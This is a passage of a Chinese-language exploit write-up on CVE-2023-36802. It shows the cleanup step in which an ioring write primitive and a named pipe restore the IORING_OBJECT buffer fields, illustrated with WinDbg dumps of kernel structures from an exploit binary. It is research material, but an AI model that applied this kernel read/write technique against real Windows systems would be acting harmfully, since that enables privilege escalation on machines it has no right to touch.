6,利用 ioring 的写原语修复 IORING_OBJECT.RegBuffersCount 和 IORING_OBJECT.RegBuffers 字段。

将 0 值写入命名管道服务端,创建 io 读请求并提交,nt!IopIoRingDispatchRead 会从命名管道客户端读取数据并将0值写入到目的地址。

2: kd> dt _IORING_OBJECT ffffe284`44643170
CVE_2023_36802_exp_22h2!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n0
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 2
   +0x078 CompletionCount  : 2
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 2
   +0x0b8 RegBuffers       : 0x00000000`00020000  -> 0x0000023e`d4990000 _IOP_MC_BUFFER_ENTRY
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null) 

-------------------------- _NT_IORING_SUBMISSION_QUEUE
2: kd> dq 0xfffff806`65800000 ld0/8
fffff806`65800000  00000003`00000002 00000000`00000000
fffff806`65800010  00000000`00000005 00000000`00000000        第一次的 io 写请求
fffff806`65800020  00000000`00000002 00000000`000080d4
fffff806`65800030  00000000`00000000 00000000`00000000
fffff806`65800040  00000000`00000008 00000000`00000000
fffff806`65800050  00000000`00000001 00000000`00000000        第二次的 io 读请求
fffff806`65800060  00000000`00000002 00000000`000080f0
fffff806`65800070  00000000`00000001 00000000`00000000
fffff806`65800080  00000000`00000008 00000000`00000000
fffff806`65800090  00000000`00000001 00000000`00000000        第三次的 io 读请求
fffff806`658000a0  00000000`00000002 00000000`000080f0
fffff806`658000b0  00000000`00000000 00000000`00000000
fffff806`658000c0  00000000`00000010 00000000`00000000
2: kd> dt _NT_IORING_SUBMISSION_QUEUE 0xfffff806`65800000
nt!_NT_IORING_SUBMISSION_QUEUE
   +0x000 Head             : 2
   +0x004 Tail             : 3
   +0x008 Flags            : 0 ( NT_IORING_SQ_FLAG_NONE )
   +0x010 Entries          : [1] _NT_IORING_SQE
2: kd> dt _NT_IORING_SQE fffff806`65800090
nt!_NT_IORING_SQE
   +0x000 OpCode           : 1 ( IORING_OP_READ )
   +0x004 Flags            : 0 ( NT_IORING_SQE_FLAG_NONE )
   +0x008 UserData         : 0
   +0x008 PaddingUserDataForWow : 0
   +0x010 Read             : _NT_IORING_OP_READ
   +0x010 RegisterFiles    : _NT_IORING_OP_REGISTER_FILES
   +0x010 RegisterBuffers  : _NT_IORING_OP_REGISTER_BUFFERS
   +0x010 Cancel           : _NT_IORING_OP_CANCEL
   +0x010 Write            : _NT_IORING_OP_WRITE
   +0x010 Flush            : _NT_IORING_OP_FLUSH
   +0x010 ReservedMaxSizePadding : _NT_IORING_OP_RESERVED
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff806658000a0))
(*((ntkrnlmp!_NT_IORING_OP_READ *)0xfffff806658000a0))                 [Type: _NT_IORING_OP_READ]
    [+0x000] CommonOpFlags    : NT_IORING_OP_FLAG_REGISTERED_BUFFER_0 | NT_IORING_OP_FLAG_REGISTERED_BUFFER (2) [Type: _NT_IORING_OP_FLAGS]
    [+0x004] Padding          : 0x0 [Type: unsigned int]
    [+0x008] File             [Type: _NT_IORING_HANDLEREF]
    [+0x010] Buffer           [Type: _NT_IORING_BUFFERREF]
    [+0x018] Offset           : 0x0 [Type: unsigned __int64]
    [+0x020] Length           : 0x10 [Type: unsigned int]
    [+0x024] Key              : 0x0 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff806658000a8))
(*((ntkrnlmp!_NT_IORING_HANDLEREF *)0xfffff806658000a8))                 [Type: _NT_IORING_HANDLEREF]
    [+0x000] Handle           : 0x80f0 [Type: void *]
    [+0x000] HandleIndex      : 0x80f0 [Type: unsigned int]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff806658000b0))
(*((ntkrnlmp!_NT_IORING_BUFFERREF *)0xfffff806658000b0))                 [Type: _NT_IORING_BUFFERREF]
    [+0x000] Address          : 0x0 [Type: void *]
    [+0x000] FixedBuffer      [Type: IORING_REGISTERED_BUFFER]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 (*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff806658000b0))
(*((ntkrnlmp!IORING_REGISTERED_BUFFER *)0xfffff806658000b0))                 [Type: IORING_REGISTERED_BUFFER]
    [+0x000] BufferIndex      : 0x0 [Type: unsigned int]
    [+0x004] Offset           : 0x0 [Type: unsigned int]

-------------------------- _IOP_MC_BUFFER_ENTRY
2: kd> dx -id 0,0,ffffe284431430c0 -r1 ((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY * *)0x20000)
((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY * *)0x20000)                 : 0x20000 [Type: _IOP_MC_BUFFER_ENTRY * *]
    0x23ed4990000 [Type: _IOP_MC_BUFFER_ENTRY *]
2: kd> dx -id 0,0,ffffe284431430c0 -r1 ((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY *)0x23ed4990000)
((CVE_2023_36802_exp_22h2!_IOP_MC_BUFFER_ENTRY *)0x23ed4990000)                 : 0x23ed4990000 [Type: _IOP_MC_BUFFER_ENTRY *]
    [+0x000] Type             : 0xc02 [Type: unsigned short]
    [+0x002] Reserved         : 0x0 [Type: unsigned short]
    [+0x004] Size             : 0x80 [Type: unsigned long]
    [+0x008] ReferenceCount   : 0x1 [Type: unsigned long]
    [+0x00c] Flags            : 0x0 [Type: unsigned long]
    [+0x010] GlobalDataLink   [Type: _LIST_ENTRY]
    [+0x020] Address          : 0xffffe28444643220 [Type: void *]
    [+0x028] Length           : 0x10 [Type: unsigned long]
    [+0x02c] AccessMode       : 1 [Type: char]
    [+0x030] MdlRef           : 0x0 [Type: unsigned long]
    [+0x038] Mdl              : 0x0 [Type: _MDL *]
    [+0x040] MdlRundownEvent  [Type: _KEVENT]
    [+0x058] PfnArray         : 0x0 [Type: unsigned __int64 *]
    [+0x060] PageNodes        [Type: unsigned char [32]]

修复完成。

2: kd> dt _IORING_OBJECT ffffe284`44643170
CVE_2023_36802_exp_22h2!_IORING_OBJECT
   +0x000 Type             : 0n14
   +0x002 Size             : 0n208
   +0x008 UserInfo         : _NT_IORING_INFO
   +0x038 Section          : 0xffffd286`70d52c10 Void
   +0x040 SubmissionQueue  : 0xfffff806`65800000 _NT_IORING_SUBMISSION_QUEUE
   +0x048 CompletionQueueMdl : 0xffffe284`42965000 _MDL
   +0x050 CompletionQueue  : 0xffffd07b`30c00050 _NT_IORING_COMPLETION_QUEUE
   +0x058 ViewSize         : 0x701000
   +0x060 InSubmit         : 0n1
   +0x068 CompletionLock   : 0
   +0x070 SubmitCount      : 3
   +0x078 CompletionCount  : 3
   +0x080 CompletionWaitUntil : 0
   +0x088 CompletionEvent  : _KEVENT
   +0x0a0 SignalCompletionEvent : 0 ''
   +0x0a8 CompletionUserEvent : (null) 
   +0x0b0 RegBuffersCount  : 0
   +0x0b8 RegBuffers       : (null) 
   +0x0c0 RegFilesCount    : 0
   +0x0c8 RegFiles         : (null)

参考文章

1,https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/

原文始发于微信公众号(安全客):CVE-2023-36802 与一种新的读写原语 ioring

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日13:56:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-36802 与一种新的读写原语 ioringhttp://cn-sec.com/archives/2406802.html

发表评论

匿名网友 填写信息